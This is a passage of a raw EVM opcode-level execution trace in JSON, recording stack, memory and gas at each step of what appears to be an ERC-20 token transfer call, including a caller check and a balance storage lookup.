00000000000000000000000000000000080"]},{"pc":970,"op":"GT","gas":58513,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xc50dfd48a20630e6","0x136dbf40ac09b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":971,"op":"ISZERO","gas":58510,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":972,"op":"PUSH2","gas":58507,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":975,"op":"JUMPI","gas":58504,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x41c"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1052,"op":"JUMPDEST","gas":58494,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1053,"op":"PUSH1","gas":58493,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1055,"op":"PUSH1","gas":58490,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1057,"op":"PUSH1","gas":58487,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1059,"op":"SHL","gas":58484,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1060,"op":"SUB","gas":58481,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1061,"op":"DUP5","gas":58478,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1062,"op":"AND","gas":58475,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1063,"op":"CALLER","gas":58472,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1064,"op":"EQ","gas":58470,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1065,"op":"DUP1","gas":58467,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1066,"op":"ISZERO","gas":58464,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1067,"op":"SWAP1","gas":58461,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1068,"op":"PUSH2","gas":58458,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1071,"op":"JUMPI","gas":58455,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1","0x452"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1106,"op":"JUMPDEST","gas":58445,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1107,"op":"ISZERO","gas":58444,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1108,"op":"PUSH2","gas":58441,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1111,"op":"JUMPI","gas":58438,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x503"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1283,"op":"JUMPDEST","gas":58428,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1284,"op":"PUSH1","gas":58427,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1286,"op":"PUSH1","gas":58424,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1288,"op":"PUSH1","gas":58421,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1290,"op":"SHL","gas":58418,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x1","0xa0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1291,"op":"SUB","gas":58415,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1292,"op":"DUP5","gas":58412,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1293,"op":"AND","gas":58409,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1294,"op":"PUSH1","gas":58406,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1296,"op":"SWAP1","gas":58403,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1297,"op":"DUP2","gas":58400,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1298,"op":"MSTORE","gas":58397,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1299,"op":"PUSH1","gas":58394,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1301,"op":"PUSH1","gas":58391,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x3"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1303,"op":"MSTORE","gas":58388,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x3","0x20"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1304,"op":"PUSH1","gas":58385,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1306,"op":"DUP2","gas":58382,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x40"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1307,"op":"KECCAK256","gas":58379,"gasCost":42,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x40","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1308,"op":"DUP1","gas":58337,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1309,"op":"SLOAD","gas":58334,"gasCost":100,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1310,"op":"DUP5","gas":58234,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1311,"op":"SWAP3","gas":58231,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x0","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0xc50dfd48a20630e6","0x136dbf40ac09b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1312,"op":"SWAP1","gas":58228,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1313,"op":"PUSH2","gas":58225,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1316,"op":"SWAP1","gas":58222,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0xc50dfd48a20630e6","0x52b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1317,"op":"DUP5","gas":58219,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0xc50dfd48a20630e6"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1318,"op":"SWAP1","gas":58216,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x1c9e86fdaef99c0a3e0522938c5a2734a8b16b882ab580efe422cad00b0bf398","0x0","0x52b","0xc50dfd48a20630e6","0x136dbf40ac09b"],"memory":["0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1319,"op":"PUSH2","gas":58213,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136db